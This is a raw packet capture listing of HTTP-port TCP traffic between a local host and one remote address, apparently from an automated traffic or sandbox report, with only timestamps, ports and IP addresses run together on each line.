                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.842745066 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.842755079 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.842781067 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.842823029 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.842852116 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.842875957 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.843648911 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.843761921 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.843777895 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.843830109 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.844331980 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.844388962 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.844396114 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.844412088 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.844454050 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.844939947 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.845000982 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.845016956 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.845072031 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.845702887 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.845787048 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.845809937 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.845840931 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.845869064 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.846467018 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.846539974 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.846554995 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.846594095 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.847204924 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.847260952 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.847275972 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.847306967 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.847337961 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.847724915 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.847773075 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.847786903 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.847832918 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.848423004 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.848479986 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.848520994 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.848537922 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.848581076 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.849246979 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.849262953 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.849281073 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.849333048 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.849874020 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.849889040 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.849905014 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.849934101 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.849966049 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.850714922 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.850729942 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.850745916 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.850790977 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.851283073 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.851310968 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.851335049 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.851345062 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.851388931 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.851948023 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.852051973 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.852066994 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.852155924 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.852785110 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.852843046 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.852859020 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.852890015 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.852921009 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.853636980 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.853668928 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.853684902 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.853718996 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.854379892 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.854394913 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.854410887 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.854427099 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.854454041 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.855139017 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.855192900 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.855226994 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.855330944 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.855803967 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.855858088 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.855891943 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.855930090 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.855957985 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.856549025 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.856581926 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.856616020 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.856664896 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.857285976 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.857341051 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.857364893 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.857373953 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.857424021 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.858093977 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.858146906 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.858181000 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.858203888 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.858905077 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.858972073 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.859158993 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.859213114 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.859246969 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.859307051 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.860009909 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.860044003 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.860079050 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.860081911 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.860219002 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.860810041 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.860846043 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.860879898 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.860898972 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.861603975 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.861641884 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.861675024 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.861691952 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.861723900 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.862407923 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.862442970 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.862488031 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.862525940 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.863238096 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.863274097 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.863308907 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.863312006 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.863410950 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.864063978 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.864099979 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.864135027 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.864162922 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.864852905 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.864897013 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.864929914 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.864964008 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.864995003 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.865650892 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.865704060 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.865737915 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.865762949 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.866472960 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.866508961 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.866542101 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.866543055 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.866693974 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.867355108 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.867388010 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.867423058 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.867472887 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.868062019 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.868099928 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.868133068 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.868158102 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.868189096 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.868885040 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.916218996 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.033025026 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.033090115 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.033126116 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.033221006 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.033310890 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.033386946 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.033420086 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.033441067 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.033457994 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.034145117 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.034240961 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.034321070 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.034377098 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.034931898 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.034981012 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.034986019 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.035020113 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.035101891 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.035725117 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.035778999 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.035814047 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.035839081 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.036570072 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.036626101 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.036645889 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.036679983 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.036719084 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.037349939 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.037435055 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.037470102 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.037493944 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.038386106 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.038434029 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.038439035 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.038472891 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.038513899 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.039249897 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.039302111 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.039360046 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.039361954 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.040148020 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.040318012 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.040352106 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.040378094 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.040406942 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.040782928 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.040867090 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.040904999 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.040927887 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.042046070 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.042104959 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.042150974 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.042186022 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.042227983 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.042778969 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.042813063 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.042850971 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.042889118 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.043252945 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.043304920 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.043358088 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.043363094 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.043550014 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.043868065 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.043920040 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.043955088 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.043983936 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.044792891 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.044893980 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.044898987 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.044934034 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.044972897 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.045435905 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.045517921 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.045551062 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.045569897 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.046612024 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.046664000 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.046664953 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.046714067 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.046751022 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.047049046 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.047101021 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.047136068 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.047158003 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.047943115 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.047996998 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.048037052 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.048049927 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.048074961 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.048737049 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.048825026 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.048858881 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.048907995 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.049544096 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.049597025 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.049635887 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.049685001 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.049724102 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.050317049 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.050407887 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.050441980 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.050460100 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.051115990 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:01.051394939 CET8049748192.142.10.246192.168.2.4
